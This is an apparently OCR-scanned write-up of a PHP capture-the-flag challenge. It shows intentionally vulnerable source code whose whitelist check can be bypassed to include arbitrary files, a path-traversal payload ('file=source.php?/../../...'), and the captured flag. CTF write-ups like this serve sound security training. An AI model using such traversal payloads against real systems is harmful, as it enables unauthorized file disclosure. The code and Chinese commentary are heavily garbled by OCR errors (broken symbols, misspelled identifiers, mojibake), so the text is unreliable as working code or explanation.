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<!DOCTYPE hitml>

<html lang="en":>

* <head>..</head>

sevepody> == S0
¢! --source.php-->
<br>
<img src="https://1.10li.net/2818/11/81/5bdb@d33dc794. jpa" >
</ body>
<fhtmlx>

KRIA AR, BREATE 14 source.php, MiZAENFENLY, HATHEEE T

<7php
highlight_file(__FILE );
class  emnm
H

public static function checkFilei&jpagze)
1

dwhitelist = ["source”=>"source.php”. "hint”=)"hint.php"]
if (1 dsset(ipagel || !is_string(fpage)) |

echo “you can’t see it”

return false:

H

i (in_array($page, $uhitelist)) |
return true;
H

$_page = mb_substr(
fpage,

mb_strpos (fpage . 77, "77)

if  (in_array($_page, $vhitelist)) {
return true

H

$_page = urldecode(§page) .
i paze = mb_substr
$_page,
0,

mb_strpos(§_page . "7, '77)
3
it (in_array($_page, $whitelist)) {
return true
H
echa “you can’t see it”
return false;

i

if (! empty(§_REQUEST[ file'])
& is_string (§_REQUEST[ file’])
&k emmm: : checkFile (§_REQUEST[  file])
»ot
include §_REQUEST[  file’];
exit
boelse {
echo “<hri<img sre=\"https://i.1011.net/2016/11/01/5bdb0d93dcTa4. et />
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<“php
highlight file(__FILE__J:
class  emmm

i
public static function checkFile(&fpage)
i
fwhitelist = [“source”=:"source.php”, “hint"=>"hint.php"];
if {1 dsseti$pazel || 'iz_string(fpage)) |

echo “you can’t  =ee  1t7;
return false;

H

if  {in_arravifpage, $whitelist)) {
return  true;

1
$_page = mb_szubstr(

fpage.

0,

mb_strpos(fpage . 77, 771
|

if (in_array($_page. $whitelisti] |
return  true;

H

$ pase = urldecods($page):
}_page = mb_substr(
$_page,
.
mb_strpos($ page . 7, 777
r
if  {in_arravi(} page, $whitelist)) |
return  true;
1
echo “you can’'t =ee it”:
return false:

flE e — N EA R, HAHRAEE T source.phpfihint.php,

SN IR A R HIfile S HUH 25 BUE A2 745 H R [Hl false
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AT E M i —payload file=source.php?/.../...1...I...I...]I.. [fffllaaaagggg

if (! empty(§_REQUEST[ file’ 1)
Efe iz_string (5_REQUEST[ file" 1)
& emmm: : checkFile (5_REQUEST[ file" 1}
include §_REQUEST['file’]:
exit
b else |
echo  “<brr<img sre=\"https://i.loli.net/2018/11/01/5bdb0d93deT4, jpgh” /&7,

H
7> flag{7641ddd0-d609-4b89-b6fa-b0485757¢c22f}
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